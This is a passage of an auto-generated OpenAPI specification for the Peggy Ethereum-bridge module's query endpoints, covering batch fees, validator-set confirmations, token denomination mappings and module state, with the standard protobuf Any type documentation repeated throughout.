type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this | |
could be a Cosmos | |
originated token, if so it will be the ERC20 | |
address of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from | |
Peggy to ETH | |
token_contract: | |
type: string | |
block: | |
type: string | |
format: uint64 | |
title: >- | |
OutgoingTxBatch represents a batch of transactions going | |
from Peggy to ETH | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/batchfees: | |
get: | |
operationId: BatchFees | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
batchFees: | |
type: array | |
items: | |
type: object | |
properties: | |
token: | |
type: string | |
total_fees: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/confirms/{nonce}: | |
get: | |
operationId: ValsetConfirmsByNonce | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
confirms: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
orchestrator: | |
type: string | |
eth_address: | |
type: string | |
signature: | |
type: string | |
description: >- | |
MsgValsetConfirm | |
this is the message sent by the validators when they wish to | |
submit their | |
signatures over the validator set at a given block height. A | |
validator must | |
first call MsgSetEthAddress to set their Ethereum address to | |
be used for | |
signing. Then someone (anyone) must make a ValsetRequest the | |
request is | |
essentially a messaging mechanism to determine which block | |
all validators | |
should submit signatures over. Finally validators sign the | |
validator set, | |
powers, and Ethereum addresses of the entire validator set | |
at the height of a | |
ValsetRequest and submit that signature with this message. | |
If a sufficient number of validators (66% of voting power) | |
(A) have set | |
Ethereum addresses and (B) submit ValsetConfirm messages | |
with their | |
signatures it is then possible for anyone to view these | |
signatures in the | |
chain store and submit them to Ethereum to update the | |
validator set | |
------------- | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: nonce | |
in: path | |
required: true | |
type: string | |
format: uint64 | |
tags: | |
- Query | |
/peggy/v1/cosmos_originated/denom_to_erc20: | |
get: | |
operationId: DenomToERC20 | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
erc20: | |
type: string | |
cosmos_originated: | |
type: boolean | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: denom | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/cosmos_originated/erc20_to_denom: | |
get: | |
operationId: ERC20ToDenom | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
denom: | |
type: string | |
cosmos_originated: | |
type: boolean | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: erc20 | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/missing_nonces: | |
get: | |
operationId: MissingPeggoNonces | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
operator_addresses: | |
type: array | |
items: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/module_state: | |
get: | |
summary: Retrieves the entire peggy module's state | |
operationId: PeggyModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
peggy_id: | |
type: string | |
contract_source_hash: | |
type: string | |
bridge_ethereum_address: | |
type: string | |
bridge_chain_id: | |
type: string | |
format: uint64 | |
signed_valsets_window: | |
type: string | |
format: uint64 | |
signed_batches_window: | |
type: string | |
format: uint64 | |
signed_claims_window: | |
type: string | |
format: uint64 | |
target_batch_timeout: | |
type: string | |
format: uint64 | |
average_block_time: | |
type: string | |
format: uint64 | |
average_ethereum_block_time: | |
type: string | |
format: uint64 | |
slash_fraction_valset: | |
type: string | |
format: byte | |
slash_fraction_batch: | |
type: string | |
format: byte | |
slash_fraction_claim: | |
type: string | |
format: byte | |
slash_fraction_conflicting_claim: | |
type: string | |
format: byte | |
unbond_slashing_valsets_window: | |
type: string | |
format: uint64 | |
slash_fraction_bad_eth_signature: | |
type: string | |
format: byte | |
cosmos_coin_denom: | |
type: string | |
cosmos_coin_erc20_contract: | |
type: string | |
claim_slashing_enabled: | |
type: boolean | |
bridge_contract_start_height: | |
type: string | |
format: uint64 | |
valset_reward: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
last_observed_nonce: | |
type: string | |
format: uint64 | |
valsets: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH | |
address and its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to | |
check signatures on | |
ETH because of the significant gas savings | |
valset_confirms: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
orchestrator: | |
type: string | |
eth_address: | |
type: string | |
signature: | |
type: string | |
description: >- | |
MsgValsetConfirm | |
this is the message sent by the validators when they | |
wish to submit their | |
signatures over the validator set at a given block | |
height. A validator must | |
first call MsgSetEthAddress to set their Ethereum | |
address to be used for | |
signing. Then someone (anyone) must make a ValsetRequest | |
the request is | |
essentially a messaging mechanism to determine which | |
block all validators | |
should submit signatures over. Finally validators sign | |
the validator set, | |
powers, and Ethereum addresses of the entire validator | |
set at the height of a | |
ValsetRequest and submit that signature with this | |
message. | |
If a sufficient number of validators (66% of voting | |
power) (A) have set | |
Ethereum addresses and (B) submit ValsetConfirm messages | |
with their | |
signatures it is then possible for anyone to view these | |
signatures in the | |
chain store and submit them to Ethereum to update the | |
validator set | |
------------- | |
batches: | |
type: array | |
items: | |
type: object | |
properties: | |
batch_nonce: | |
type: string | |
format: uint64 | |
batch_timeout: | |
type: string | |
format: uint64 | |
transactions: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum | |
ERC20 token. | |
CONTRACT: | |
The contract address on ETH of the token, this | |
could be a Cosmos | |
originated token, if so it will be the ERC20 | |
address of the representation | |
(note: developers should look up the token | |
symbol using the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum | |
ERC20 token. | |
CONTRACT: | |
The contract address on ETH of the token, this | |
could be a Cosmos | |
originated token, if so it will be the ERC20 | |
address of the representation | |
(note: developers should look up the token | |
symbol using the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send | |
from Peggy to ETH | |
token_contract: | |
type: string | |
block: | |
type: string | |
format: uint64 | |
title: >- | |
OutgoingTxBatch represents a batch of transactions going | |
from Peggy to ETH | |
batch_confirms: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
token_contract: | |
type: string | |
eth_signer: | |
type: string | |
orchestrator: | |
type: string | |
signature: | |
type: string | |
title: >- | |
MsgConfirmBatch | |
When validators observe a MsgRequestBatch they form a | |
batch by ordering | |
transactions currently in the txqueue in order of | |
highest to lowest fee, | |
cutting off when the batch either reaches a hardcoded | |
maximum size (to be | |
decided, probably around 100) or when transactions stop | |
being profitable | |
(TODO determine this without nondeterminism) This | |
message includes the batch | |
as well as an Ethereum signature over this batch by the | |
validator | |
------------- | |
attestations: | |
type: array | |
items: | |
type: object | |
properties: | |
observed: | |
type: boolean | |
votes: | |
type: array | |
items: | |
type: string | |
height: | |
type: string | |
format: uint64 | |
claim: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the | |
type of the serialized | |
protocol buffer message. This string must | |
contain at least | |
one "/" character. The last segment of the URL's | |
path must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name | |
should be in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the | |
binary all types that they | |
expect it to use in the context of Any. However, | |
for URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message | |
definitions as follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup | |
results based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently | |
available in the official | |
protobuf release, and it is not used for type | |
URLs beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of | |
the above specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol | |
buffer message along with a | |
URL that describes the type of the serialized | |
message. | |
Protobuf library provides support to pack/unpack Any | |
values in the form | |
of utility functions or additional generated methods | |
of the Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
